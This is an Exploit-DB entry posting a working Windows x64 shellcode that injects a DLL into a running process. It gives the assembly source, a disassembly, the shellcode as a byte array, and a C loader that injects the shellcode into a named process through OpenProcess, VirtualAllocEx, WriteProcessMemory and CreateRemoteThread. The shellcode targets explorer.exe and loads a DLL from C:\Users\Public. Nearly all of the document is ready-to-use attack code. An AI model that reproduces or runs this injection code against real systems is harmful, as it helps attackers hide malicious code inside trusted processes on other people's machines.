Windows/x64 - CreateRemoteThread() DLL Injection Shellcode (584 bytes)

EDB-ID:

41072

CVE:

N/A


Published:

2017-01-15

/*

	Title: Windows x64 dll injection shellcode (using CreateRemoteThread())
	Size: 584 bytes
	Date: 16-01-2017
	Author: Roziul Hasan Khan Shifat
	Tested On : Windows 7 x64






*/



//Note : i wrtie it for process injection
//It may work in exploit



/*

section .text
	global _start
_start:
xor r8,r8
push r8
push r8

mov [rsp],dword 'expl'
mov [rsp+4],dword 'orer'
mov [rsp+8],dword '.exe'

lea rcx,[rsp] ;;process name (explorer.exe) change it if U want


push r8
push r8
push r8



mov [rsp],dword 'C:\U'
mov [rsp+4],dword 'sers'
mov [rsp+8],dword '\Pub'
mov [rsp+12],dword 'lic\'
mov [rsp+16],dword 'in.d'
mov [rsp+20],word 'll'

lea rdx,[rsp]   ;path of the dll (change it to U full path of dll)




;--------------------------------------------------------

mov r8w,336

sub rsp,r8
lea r12,[rsp]

push 24
pop r8 ;(important: length of dll path string including null byte)


mov [r12],rcx ;process name
mov [r12+8],rdx ;dll path
mov [r12+16],r8 ;length of dll path string

;----------------------------------------------------------





_main:

cdq
mov rax,[gs:rdx+0x60] ;peb
mov rax,[rax+0x18] ;peb->Ldr
mov rsi,[rax+0x10] ;peb->Ldr.InMemOrderModuleList
lodsq
mov rsi,[rax]
mov rdi,[rsi+0x30] ;rdi=kernel32.dll base address



;------------------------------------------
mov dl,0x88
mov ebx,[rdi+0x3c] ;DOS_HEADER->elf_anew
add rbx,rdi ;IMAGE_OPTIONAL_HEADER32
mov ebx,[rbx+rdx] ;IMAGE_DATA_DIRECTORY->VirtualAddress
add rbx,rdi ;IMAGE_EXPORT_DIRECTORY (Export table of kernel32.dll)

mov esi,[rbx+0x1c] ;kenrel32.dll AddressOfFunction
add rsi,rdi

;-------------------------------------------------------
;loading msvcrt.dll
cdq
push rdx
mov dx,832
mov ebx,[rsi+rdx*4]
add rbx,rdi


mov [rsp],dword 'msvc' 
mov [rsp+4],word 'rt'

lea rcx,[rsp]

sub rsp,88

call rbx

;-------------------------------
;Finding address of strcmp()

lea rdx,[rsp+88]
mov [rdx],dword 'strc'
mov [rdx+4],word 'mp'

mov rcx,rax

mov r8w,587*4
mov ebx,[rsi+r8]
add rbx,rdi

call rbx
;-----------------------------
mov [r12+24],rax ;address of strcmp()
;---------------------------------------------------------------

mov dx,190*4
mov ebx,[rsi+rdx]
add rbx,rdi ;CreateToolhelp32Snapshot()

;--------------------------------

;HANDLE WINAPI CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID)
xor rdx,rdx ;DWORD th32ProcessID
push 2
pop rcx ;DWORD dwFlags
call rbx

mov r13,rax ;HANDLE
cmp r13,-1
je __exit
;---------------------------------------------
mov dx,304

mov [r12+32],dword edx ;sizeof PROCESSENTRY32



mov dx,920*4
mov ebx,[rsi+rdx]
add rbx,rdi ;rbx=Process32First()

;WINBOOL WINAPI Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);

lea rdx,[r12+32] ;LPPROCESSENTRY32 lppe
mov rcx,r13 ;HANDLE hSnapshot


call rbx

cmp rax,1
jne __exit

;---------------------------------------------------

xor rdx,rdx
mov dx,922*4
mov r15d,[rsi+rdx]
add r15,rdi ;r15=Process32Next()



sub rsp,88
get_pid:
lea rcx,[r12+76] ;PROCESSENRY32.CHAR szExeFile[MAX_PATH=260]
mov rdx,[r12] ;process name
mov rbx,[r12+24] ;strcmp()
call rbx

xor rdx,rdx
cmp rax,rdx
jz inject

;WINBOOL WINAPI Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe)
mov rcx,r13
lea rdx,[r12+32]
call r15

cmp rax,1
je get_pid

leave
ret










__exit:
xor rdx,rdx
push rdx
mov dx,297*4
mov ebx,[rsi+rdx]
add rbx,rdi

pop rcx
call rbx










;--------------------------------------------------
;------------------------------------------------------
;inject function
inject:

xor rdx,rdx
push rdx
pop r10

mov r10w,899*4
mov ebx,[rsi+r10]
add rbx,rdi ;rbx=OpenProcess()

;WINBASEAPI HANDLE WINAPI OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId)

push rdx
pop rcx

mov r8d,[r12+40] ;PROCESSENTRY32.DWORD th32ProcessID

;0x1e84800a-0x1e65700b=2035711 (PROCESS_ALL_ACCESS)

mov ecx,0x1e84800a
sub ecx,0x1e65700b

call rbx

mov r13,rax  ;PROCESS HANDLE
cmp r13,-1
je __exit
;--------------------------------------------------------------------

mov dx,1279
mov ebx,[rsi+rdx*4]
add rbx,rdi ;VirualAlloc()

;WINBASEAPI LPVOID WINAPI VirtualAllocEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
sub rsp,88

mov rcx,r13 ;HANDLE hProcess
xor rdx,rdx ;LPVOID lpAddress
mov r8,[r12+16] ;SIZE_T dwSize
mov r9w,0x2fff 
inc r9;DWORD flAllocationType = (MEM_COMMIT | MEM_RESERVE)
mov [rsp+32],byte 0x4 ;DWORD flProtect = PAGE_READWRITE
call rbx

mov r14,rax ;LPVOID address
xor rdx,rdx
cmp rax,rdx
jz __exit


;-----------------------------------------------------------------------------------
mov dx,1347
mov ebx,[rsi+rdx*4]
add rbx,rdi ;WriteProcessMemory()
sub rsp,88
xor rdx,rdx
;WINBASEAPI WINBOOL WINAPI WriteProcessMemory (HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten)
mov [rsp+32],rdx ;SIZE_T *lpNumberOfBytesWritten
mov rcx,r13 ;HANDLE hProcess
mov rdx,r14 ;LPVOID lpBaseAddress
mov r8,[r12+8] ;LPCVOID lpBuffer
mov r9,[r12+16] ;SIZE_T nSize

call rbx



cmp rax,1
jne __exit

;------------------------------------------------------------------------------------
mov dx,170*4
mov ebx,[rsi+rdx]
add rbx,rdi ;CreateRemoteThread()

xor rdx,rdx
sub rsp,88
;WINBASEAPI HANDLE WINAPI CreateRemoteThread (HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)

mov rcx,r13 ;HANDLE hProcess
push rdx
push rdx
pop r8 ;SIZE_T dwStackSize

mov dx,832
mov r9d,[rsi+rdx*4]
add r9,rdi ;LPTHREAD_START_ROUTINE lpStartAddress (LoadLibraryA())

pop rdx ;LPSECURITY_ATTRIBUTES lpThreadAttributes
mov [rsp+32],r14 ;LPVOID lpParameter
mov [rsp+40],r8
mov [rsp+48],r8
call rbx

call __exit

;------------------------------------------------------------























*/



/*



dll_inj.obj:     file format pe-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:	4d 31 c0             	xor    %r8,%r8
   3:	41 50                	push   %r8
   5:	41 50                	push   %r8
   7:	c7 04 24 65 78 70 6c 	movl   $0x6c707865,(%rsp)
   e:	c7 44 24 04 6f 72 65 	movl   $0x7265726f,0x4(%rsp)
  15:	72 
  16:	c7 44 24 08 2e 65 78 	movl   $0x6578652e,0x8(%rsp)
  1d:	65 
  1e:	48 8d 0c 24          	lea    (%rsp),%rcx
  22:	41 50                	push   %r8
  24:	41 50                	push   %r8
  26:	41 50                	push   %r8
  28:	c7 04 24 43 3a 5c 55 	movl   $0x555c3a43,(%rsp)
  2f:	c7 44 24 04 73 65 72 	movl   $0x73726573,0x4(%rsp)
  36:	73 
  37:	c7 44 24 08 5c 50 75 	movl   $0x6275505c,0x8(%rsp)
  3e:	62 
  3f:	c7 44 24 0c 6c 69 63 	movl   $0x5c63696c,0xc(%rsp)
  46:	5c 
  47:	c7 44 24 10 69 6e 2e 	movl   $0x642e6e69,0x10(%rsp)
  4e:	64 
  4f:	66 c7 44 24 14 6c 6c 	movw   $0x6c6c,0x14(%rsp)
  56:	48 8d 14 24          	lea    (%rsp),%rdx
  5a:	66 41 b8 50 01       	mov    $0x150,%r8w
  5f:	4c 29 c4             	sub    %r8,%rsp
  62:	4c 8d 24 24          	lea    (%rsp),%r12
  66:	6a 18                	pushq  $0x18
  68:	41 58                	pop    %r8
  6a:	49 89 0c 24          	mov    %rcx,(%r12)
  6e:	49 89 54 24 08       	mov    %rdx,0x8(%r12)
  73:	4d 89 44 24 10       	mov    %r8,0x10(%r12)

0000000000000078 <_main>:
  78:	99                   	cltd   
  79:	65 48 8b 42 60       	mov    %gs:0x60(%rdx),%rax
  7e:	48 8b 40 18          	mov    0x18(%rax),%rax
  82:	48 8b 70 10          	mov    0x10(%rax),%rsi
  86:	48 ad                	lods   %ds:(%rsi),%rax
  88:	48 8b 30             	mov    (%rax),%rsi
  8b:	48 8b 7e 30          	mov    0x30(%rsi),%rdi
  8f:	b2 88                	mov    $0x88,%dl
  91:	8b 5f 3c             	mov    0x3c(%rdi),%ebx
  94:	48 01 fb             	add    %rdi,%rbx
  97:	8b 1c 13             	mov    (%rbx,%rdx,1),%ebx
  9a:	48 01 fb             	add    %rdi,%rbx
  9d:	8b 73 1c             	mov    0x1c(%rbx),%esi
  a0:	48 01 fe             	add    %rdi,%rsi
  a3:	99                   	cltd   
  a4:	52                   	push   %rdx
  a5:	66 ba 40 03          	mov    $0x340,%dx
  a9:	8b 1c 96             	mov    (%rsi,%rdx,4),%ebx
  ac:	48 01 fb             	add    %rdi,%rbx
  af:	c7 04 24 6d 73 76 63 	movl   $0x6376736d,(%rsp)
  b6:	66 c7 44 24 04 72 74 	movw   $0x7472,0x4(%rsp)
  bd:	48 8d 0c 24          	lea    (%rsp),%rcx
  c1:	48 83 ec 58          	sub    $0x58,%rsp
  c5:	ff d3                	callq  *%rbx
  c7:	48 8d 54 24 58       	lea    0x58(%rsp),%rdx
  cc:	c7 02 73 74 72 63    	movl   $0x63727473,(%rdx)
  d2:	66 c7 42 04 6d 70    	movw   $0x706d,0x4(%rdx)
  d8:	48 89 c1             	mov    %rax,%rcx
  db:	66 41 b8 2c 09       	mov    $0x92c,%r8w
  e0:	42 8b 1c 06          	mov    (%rsi,%r8,1),%ebx
  e4:	48 01 fb             	add    %rdi,%rbx
  e7:	ff d3                	callq  *%rbx
  e9:	49 89 44 24 18       	mov    %rax,0x18(%r12)
  ee:	66 ba f8 02          	mov    $0x2f8,%dx
  f2:	8b 1c 16             	mov    (%rsi,%rdx,1),%ebx
  f5:	48 01 fb             	add    %rdi,%rbx
  f8:	48 31 d2             	xor    %rdx,%rdx
  fb:	6a 02                	pushq  $0x2
  fd:	59                   	pop    %rcx
  fe:	ff d3                	callq  *%rbx
 100:	49 89 c5             	mov    %rax,%r13
 103:	49 83 fd ff          	cmp    $0xffffffffffffffff,%r13
 107:	74 60                	je     169 <__exit>
 109:	66 ba 30 01          	mov    $0x130,%dx
 10d:	41 89 54 24 20       	mov    %edx,0x20(%r12)
 112:	66 ba 60 0e          	mov    $0xe60,%dx
 116:	8b 1c 16             	mov    (%rsi,%rdx,1),%ebx
 119:	48 01 fb             	add    %rdi,%rbx
 11c:	49 8d 54 24 20       	lea    0x20(%r12),%rdx
 121:	4c 89 e9             	mov    %r13,%rcx
 124:	ff d3                	callq  *%rbx
 126:	48 83 f8 01          	cmp    $0x1,%rax
 12a:	75 3d                	jne    169 <__exit>
 12c:	48 31 d2             	xor    %rdx,%rdx
 12f:	66 ba 68 0e          	mov    $0xe68,%dx
 133:	44 8b 3c 16          	mov    (%rsi,%rdx,1),%r15d
 137:	49 01 ff             	add    %rdi,%r15
 13a:	48 83 ec 58          	sub    $0x58,%rsp

000000000000013e <get_pid>:
 13e:	49 8d 4c 24 4c       	lea    0x4c(%r12),%rcx
 143:	49 8b 14 24          	mov    (%r12),%rdx
 147:	49 8b 5c 24 18       	mov    0x18(%r12),%rbx
 14c:	ff d3                	callq  *%rbx
 14e:	48 31 d2             	xor    %rdx,%rdx
 151:	48 39 d0             	cmp    %rdx,%rax
 154:	74 24                	je     17a <inject>
 156:	4c 89 e9             	mov    %r13,%rcx
 159:	49 8d 54 24 20       	lea    0x20(%r12),%rdx
 15e:	41 ff d7             	callq  *%r15
 161:	48 83 f8 01          	cmp    $0x1,%rax
 165:	74 d7                	je     13e <get_pid>
 167:	c9                   	leaveq 
 168:	c3                   	retq   

0000000000000169 <__exit>:
 169:	48 31 d2             	xor    %rdx,%rdx
 16c:	52                   	push   %rdx
 16d:	66 ba a4 04          	mov    $0x4a4,%dx
 171:	8b 1c 16             	mov    (%rsi,%rdx,1),%ebx
 174:	48 01 fb             	add    %rdi,%rbx
 177:	59                   	pop    %rcx
 178:	ff d3                	callq  *%rbx

000000000000017a <inject>:
 17a:	48 31 d2             	xor    %rdx,%rdx
 17d:	52                   	push   %rdx
 17e:	41 5a                	pop    %r10
 180:	66 41 ba 0c 0e       	mov    $0xe0c,%r10w
 185:	42 8b 1c 16          	mov    (%rsi,%r10,1),%ebx
 189:	48 01 fb             	add    %rdi,%rbx
 18c:	52                   	push   %rdx
 18d:	59                   	pop    %rcx
 18e:	45 8b 44 24 28       	mov    0x28(%r12),%r8d
 193:	b9 0a 80 84 1e       	mov    $0x1e84800a,%ecx
 198:	81 e9 0b 70 65 1e    	sub    $0x1e65700b,%ecx
 19e:	ff d3                	callq  *%rbx
 1a0:	49 89 c5             	mov    %rax,%r13
 1a3:	49 83 fd ff          	cmp    $0xffffffffffffffff,%r13
 1a7:	74 c0                	je     169 <__exit>
 1a9:	66 ba ff 04          	mov    $0x4ff,%dx
 1ad:	8b 1c 96             	mov    (%rsi,%rdx,4),%ebx
 1b0:	48 01 fb             	add    %rdi,%rbx
 1b3:	48 83 ec 58          	sub    $0x58,%rsp
 1b7:	4c 89 e9             	mov    %r13,%rcx
 1ba:	48 31 d2             	xor    %rdx,%rdx
 1bd:	4d 8b 44 24 10       	mov    0x10(%r12),%r8
 1c2:	66 41 b9 ff 2f       	mov    $0x2fff,%r9w
 1c7:	49 ff c1             	inc    %r9
 1ca:	c6 44 24 20 04       	movb   $0x4,0x20(%rsp)
 1cf:	ff d3                	callq  *%rbx
 1d1:	49 89 c6             	mov    %rax,%r14
 1d4:	48 31 d2             	xor    %rdx,%rdx
 1d7:	48 39 d0             	cmp    %rdx,%rax
 1da:	74 8d                	je     169 <__exit>
 1dc:	66 ba 43 05          	mov    $0x543,%dx
 1e0:	8b 1c 96             	mov    (%rsi,%rdx,4),%ebx
 1e3:	48 01 fb             	add    %rdi,%rbx
 1e6:	48 83 ec 58          	sub    $0x58,%rsp
 1ea:	48 31 d2             	xor    %rdx,%rdx
 1ed:	48 89 54 24 20       	mov    %rdx,0x20(%rsp)
 1f2:	4c 89 e9             	mov    %r13,%rcx
 1f5:	4c 89 f2             	mov    %r14,%rdx
 1f8:	4d 8b 44 24 08       	mov    0x8(%r12),%r8
 1fd:	4d 8b 4c 24 10       	mov    0x10(%r12),%r9
 202:	ff d3                	callq  *%rbx
 204:	48 83 f8 01          	cmp    $0x1,%rax
 208:	0f 85 5b ff ff ff    	jne    169 <__exit>
 20e:	66 ba a8 02          	mov    $0x2a8,%dx
 212:	8b 1c 16             	mov    (%rsi,%rdx,1),%ebx
 215:	48 01 fb             	add    %rdi,%rbx
 218:	48 31 d2             	xor    %rdx,%rdx
 21b:	48 83 ec 58          	sub    $0x58,%rsp
 21f:	4c 89 e9             	mov    %r13,%rcx
 222:	52                   	push   %rdx
 223:	52                   	push   %rdx
 224:	41 58                	pop    %r8
 226:	66 ba 40 03          	mov    $0x340,%dx
 22a:	44 8b 0c 96          	mov    (%rsi,%rdx,4),%r9d
 22e:	49 01 f9             	add    %rdi,%r9
 231:	5a                   	pop    %rdx
 232:	4c 89 74 24 20       	mov    %r14,0x20(%rsp)
 237:	4c 89 44 24 28       	mov    %r8,0x28(%rsp)
 23c:	4c 89 44 24 30       	mov    %r8,0x30(%rsp)
 241:	ff d3                	callq  *%rbx
 243:	e8 21 ff ff ff       	callq  169 <__exit>

















*/
























#include<stdio.h>
#include<windows.h>
#include<TlHelp32.h>
#include<string.h>


char shellcode[]="\x4d\x31\xc0\x41\x50\x41\x50\xc7\x04\x24\x65\x78\x70\x6c\xc7\x44\x24\x04\x6f\x72\x65\x72\xc7\x44\x24\x08\x2e\x65\x78\x65\x48\x8d\x0c\x24\x41\x50\x41\x50\x41\x50\xc7\x04\x24\x43\x3a\x5c\x55\xc7\x44\x24\x04\x73\x65\x72\x73\xc7\x44\x24\x08\x5c\x50\x75\x62\xc7\x44\x24\x0c\x6c\x69\x63\x5c\xc7\x44\x24\x10\x69\x6e\x2e\x64\x66\xc7\x44\x24\x14\x6c\x6c\x48\x8d\x14\x24\x66\x41\xb8\x50\x01\x4c\x29\xc4\x4c\x8d\x24\x24\x6a\x18\x41\x58\x49\x89\x0c\x24\x49\x89\x54\x24\x08\x4d\x89\x44\x24\x10\x99\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\xb2\x88\x8b\x5f\x3c\x48\x01\xfb\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x99\x52\x66\xba\x40\x03\x8b\x1c\x96\x48\x01\xfb\xc7\x04\x24\x6d\x73\x76\x63\x66\xc7\x44\x24\x04\x72\x74\x48\x8d\x0c\x24\x48\x83\xec\x58\xff\xd3\x48\x8d\x54\x24\x58\xc7\x02\x73\x74\x72\x63\x66\xc7\x42\x04\x6d\x70\x48\x89\xc1\x66\x41\xb8\x2c\x09\x42\x8b\x1c\x06\x48\x01\xfb\xff\xd3\x49\x89\x44\x24\x18\x66\xba\xf8\x02\x8b\x1c\x16\x48\x01\xfb\x48\x31\xd2\x6a\x02\x59\xff\xd3\x49\x89\xc5\x49\x83\xfd\xff\x74\x60\x66\xba\x30\x01\x41\x89\x54\x24\x20\x66\xba\x60\x0e\x8b\x1c\x16\x48\x01\xfb\x49\x8d\x54\x24\x20\x4c\x89\xe9\xff\xd3\x48\x83\xf8\x01\x75\x3d\x48\x31\xd2\x66\xba\x68\x0e\x44\x8b\x3c\x16\x49\x01\xff\x48\x83\xec\x58\x49\x8d\x4c\x24\x4c\x49\x8b\x14\x24\x49\x8b\x5c\x24\x18\xff\xd3\x48\x31\xd2\x48\x39\xd0\x74\x24\x4c\x89\xe9\x49\x8d\x54\x24\x20\x41\xff\xd7\x48\x83\xf8\x01\x74\xd7\xc9\xc3\x48\x31\xd2\x52\x66\xba\xa4\x04\x8b\x1c\x16\x48\x01\xfb\x59\xff\xd3\x48\x31\xd2\x52\x41\x5a\x66\x41\xba\x0c\x0e\x42\x8b\x1c\x16\x48\x01\xfb\x52\x59\x45\x8b\x44\x24\x28\xb9\x0a\x80\x84\x1e\x81\xe9\x0b\x70\x65\x1e\xff\xd3\x49\x89\xc5\x49\x83\xfd\xff\x74\xc0\x66\xba\xff\x04\x8b\x1c\x96\x48\x01\xfb\x48\x83\xec\x58\x4c\x89\xe9\x48\x31\xd2\x4d\x8b\x44\x24\x10\x66\x41\xb9\xff\x2f\x49\xff\xc1\xc6\x44\x24\x20\x04\xff\xd3\x49\x89\xc6\x48\x31\xd2\x48\x39\xd0\x74\x8d\x66\xba\x43\x05\x8b\x1c\x96\x48\x01\xfb\x48\x83\xec\x58\x48\x31\xd2\x48\x89\x54\x24\x20\x4c\x89\xe9\x4c\x89\xf2\x4d\x8b\x44\x24\x08\x4d\x8b\x4c\x24\x10\xff\xd3\x48\x83\xf8\x01\x0f\x85\x5b\xff\xff\xff\x66\xba\xa8\x02\x8b\x1c\x16\x48\x01\xfb\x48\x31\xd2\x48\x83\xec\x58\x4c\x89\xe9\x52\x52\x41\x58\x66\xba\x40\x03\x44\x8b\x0c\x96\x49\x01\xf9\x5a\x4c\x89\x74\x24\x20\x4c\x89\x44\x24\x28\x4c\x89\x44\x24\x30\xff\xd3\xe8\x21\xff\xff\xff";


void inject(DWORD );
int main(int i,char *a[])
{
	if(i!=2)
	{
		printf("Usage %s <program name>",a[0]);
		return 0;
	}
	
	BOOL f=0;
	HANDLE snap;
	PROCESSENTRY32 pe32;
	
	snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	
	if(snap==INVALID_HANDLE_VALUE)
	{
		printf("CreateToolhelp32Snapshot() Failed."); return 0;
	}
	
	pe32.dwSize=sizeof(pe32);
	
	if(!Process32First(snap,&pe32))
	{
		printf("Process32First() Failed."); return 0;
	}
	
	
	
	do
	{
		if(0==strncmp(a[1],pe32.szExeFile,strlen(pe32.szExeFile)))
		{
			f=TRUE;
			break;
		}
		
	}while(Process32Next(snap,&pe32));
	
	
	if(!f)
	{
		printf("No infomation found about \"%s\" ",a[1]);
	}
	else
	{
		printf("Program name:%s\nProcess id: %d",pe32.szExeFile,pe32.th32ProcessID);
		printf("\nInjecting shellcode");
		inject(pe32.th32ProcessID);
	}
	
	
	
	return 0;
	
}



void inject(DWORD pid)
{
	HANDLE phd,h;
	LPVOID shell;
	
	phd=OpenProcess(PROCESS_ALL_ACCESS,0,pid);
	
	if(phd==INVALID_HANDLE_VALUE)
	{
		printf("\nOpenProcess() Failed."); return ;
	}
	
	shell=VirtualAllocEx(phd,0,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	if(shell==NULL)
	{
		printf("\nVirtualAllocEx() Failed"); return ; CloseHandle(phd);
	}
	
	WriteProcessMemory(phd,shell,shellcode,sizeof(shellcode),0);
	printf("\nInjection successfull\n");
	printf("Running Shellcode......\n");
	
	h=CreateRemoteThread(phd,NULL,2046,(LPTHREAD_START_ROUTINE)shell,NULL,0,0);
	if(h==NULL)
	{
		printf("Failed to Run Shellcode\n"); return ;
	}
}